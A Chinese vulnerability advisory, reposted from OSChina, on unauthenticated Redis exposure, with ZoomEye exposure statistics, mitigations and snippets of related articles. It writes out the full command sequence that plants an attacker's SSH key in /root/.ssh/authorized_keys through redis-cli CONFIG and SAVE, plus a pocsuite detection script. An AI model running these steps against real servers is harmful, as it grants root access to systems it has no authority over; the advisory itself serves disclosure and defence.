Redis 未授权访问缺陷可轻易导致系统被黑

Sebug 网站公布了 Redis 未授权访问缺陷的详细漏洞信息,这个 Redis 未授权访问缺陷可轻易导致系统被黑。详细内容请看下文:

漏洞概要

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访 问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞概述

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访 问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞描述

Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞影响

Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。

根据 ZoomEye 最新于2015年11月12日0点探测结果显示:

总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。

1.1. 漏洞分析与利用

首先在本地生产公私钥文件:

$ssh-keygen –t rsa

然后将公钥写入foo.txt文件

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

再连接Redis写入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /Users/antirez/.ssh/OK
$ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK
$ 192.168.1.11:6379> saveOK

这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:

$ ssh –i  id_rsa root@192.168.1.11

即可远程利用自己的私钥登录该服务器。

当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。

Redis 未授权的其他危害与利用

数据库数据泄露

Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等

代码执行

Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下

一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.

通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。

敏感信息泄露

通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫

可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。

全球无验证可直接利用 Redis 分布情况

全球无验证可直接利用 Redis TOP 10 国家与地区

漏洞 PoC

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
    vulID = '89339'
    version = '1'
    author = ['Anonymous']
    vulDate = '2015-10-26'
    createDate = '2015-10-26'
    updateDate = '2015-10-26'
    references = ['http://sebug.net/vuldb/ssvid-89339']
    name = 'Redis 未授权访问 PoC'
    appPowerLink = 'http://redis.io/'
    appName = 'Redis'
    appVersion = 'All'
    vulType = 'Unauthorized access'
    desc = '''
        redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
    '''
    samples = ['']
    def _verify(self):
        result = {}
        payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
        s = socket.socket()
        socket.setdefaulttimeout(10)
        try:
            host = urlparse.urlparse(self.url).netloc
            port = 6379
            s.connect((host, port))
            s.send(payload)
            recvdata = s.recv(1024)
            if recvdata and 'redis_version' in recvdata:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                result['VerifyInfo']['Port'] = port
        except:
            pass
        s.close()
        return self.parse_attack(result)
    def _attack(self):
        return self._verify()
    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output
register(TestPOC)

解决方案

临时解决方案

  1. 配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
  2. 配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
  3. 配置rename-command CONFIG "RENAME_CONFIG", 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
  4. 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config

官方解决方案

暂无官方解决方案

推荐防护方案

暂无防护方案

文章转载自 开源中国社区[https://www.oschina.net]

时间: 2024-10-31 09:05:38

Redis 未授权访问缺陷可轻易导致系统被黑的相关文章

阿里云CentOS+PHP+Nginx+Redis未授权访问漏洞

在阿里云上挂了一个网站,运行CentOS+PHP+Nginx,服务器装了redis,端口是6379,打开阿里云后台云盾报一个安全漏洞,漏洞类型是Redis未授权访问漏洞,漏洞地址是xx.xx.xx.xx:6379,也提供了解决方案. 记录如下: 一.漏洞描述和危害 Redis因配置不当可以未授权访问,被攻击者恶意利用. 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据. 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件,

Redis3未授权访问漏洞导致服务器被入侵

今天在腾讯云上搭的开发环境里的一台机器cpu load飚升老高,然后还能登陆上去,top后发现两个可疑进程./root/目录下有修改过的文件./opt目录被干掉了, 后经分析,这台机器上有redis外网服务,/root目录下还有个READ_ME.txt,  内容如下: 中招了,,两个可疑进程 在腾讯云上找到篇处理步骤: Redis 默认情况下,会绑定在 0.0.0.0:6379,这样会将 Redis 服务暴露到公网上,在Redis服务器没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的

Memcache未授权访问漏洞利用及bug修复详解

memcached是一套分布式的高速缓存系统.它以Key-Value(键值对)形式将数据存储在内存中,这些数据通常是应用读取频繁的.正因为内存中数据的读取远远大于硬盘,因此可以用来加速应用的访问. 漏洞成因: 由于memcached安全设计缺陷,客户端连接memcached服务器后 无需认证就 可读取.修改服务器缓存内容. 漏洞影响: 除memcached中数据可被直接读取泄漏和恶意修改外,由于memcached中的数据像正常网站用户访问提交变量一样会被后端代码处理,当处理代码存在缺陷时会再次导

SSLC0008E: 无法初始化 SSL 连接。未授权访问被拒绝,或者安全性设置已到期。

问题描述 [12-6-2914:34:37:936CST]0000001aSSLHandshakeEESSLC0008E:无法初始化SSL连接.未授权访问被拒绝,或者安全性设置已到期.异常:javax.net.ssl.SSLHandshakeException:ClientrequestedprotocolUnknown-0.2notenabledornotsupportedatcom.ibm.jsse2.gb.t(gb.java:444)atcom.ibm.jsse2.qc.b(qc.java

全球近80万FTP服务器账号可被未授权访问

最近,安全研究人员Minxomat尝试对全球所有的IPv4地址进行一个FTP枚举测试.经过测试发现,有796578个FTP登陆口令枚举成功,可以进行未经授权访问.在测试的过程中该研究人员主要是尝试针对21号端口进行匿名访问,密码为空.如果要通过字典枚举账号和密码,那么这个数量会下降很多. 扫描器我们见过很多,但是这个扫描器有些与众不同.Minxomat说道:"我一直想做一个可以扫描器,可以通过低配置的KVM进行使用,也就是说这个扫描器不能依靠别的扫描框架,而是单纯通过几个简单的脚本文件就可以执行

漏洞预警:Hadoop 未授权访问可导致数据泄露

近日,国外媒体报道全球Hadoop服务器因配置不安全导致海量数据泄露,涉及使用Hadoop分布式文件系统(HDFS)的近4500台服务器,数据量高达5120 TB (5.12 PB),经分析,这批数据泄露的近4500台HDFS服务器中以美国和中国为主. 事件原因: 互联网上暴露的Hadoop服务器如果没有配置访问认证均可能受影响,攻击者针对HDFS的攻击删除了大多数目录,并会添加一个名为"NODATA 4U_SECUREYOURSHIT"的新目录和"PLEASE_README

所谓的"新姿势之Docker Remote API未授权访问漏洞分析和利用"

最近乌云上出现了一篇文章 http://drops.wooyun.org/papers/15892.这种作者就一个好,写文章比谁都快,可惜从来不愿意踏踏实实的分析,非得搞个大新闻,把Docker/Swarm批判一番. 先说结论,Docker采用C/S结构,但是它的client和server用的是同一个binary文件: docker,根据参数不同执行不同的代码分支,所以很多人可能都不清楚Docker是C/S结构的.Docker的Server端,也叫作Docker Daemon,运行命令/path

memcache 端口11211 未授权访问漏洞

漏洞描述:memcache是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以开放在外网的memcache服务很容易被攻击者扫描发现,通过命令交互可直接读取memcache中的敏感信息. 修复方案:因memcache无权限控制功能,所以需要用户对访问来源进行限制. 方案一: 如果memcache没有在外网开放的必要,可在memcached启动的时候指定绑定的ip地址为 127.0.0.1.例如: memcached -d -m 1024 -u root -l 127.0.0.

Memcache内存缓存的未授权访问漏洞解决办法

漏洞描述   Memcache是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以开放在外网的Memcache服务很容易被攻击者扫描发现,通过命令交互可直接读取Memcache中的敏感信息.   修复方案   因Memcache无权限控制功能,所以需要用户对访问来源进行限制,下面分享4中有效的解决方法.   1.绑定IP   如果Memcache没有在外网开放的必要,可在Memcache启动的时候指定绑定的IP地址为 127.0.0.1.例如:  memcached -d -